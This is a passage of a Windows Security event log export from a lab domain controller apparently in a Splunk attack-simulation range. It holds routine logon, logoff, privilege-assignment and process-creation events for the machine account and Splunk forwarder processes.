	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64611

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:26:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255645
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x340B0A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255653
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x340DD1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255652
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x340DD1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64615

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255651
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x340DD1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255650
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x340D65

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255649
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x340D65
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64614

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255648
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x340D65

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255665
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x34118A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255664
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x341298

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255663
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3412E1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255662
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x341503
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64620

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255661
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x341503

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255660
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255659
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3412E1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64619

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255658
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3412E1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255657
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x341298
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255656
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x341298

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255655
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x34118A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64618

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255654
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x34118A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:27:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255666
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x784
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255668
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255667
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255670
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255669
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:27:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255671
Keywords=Audit Success
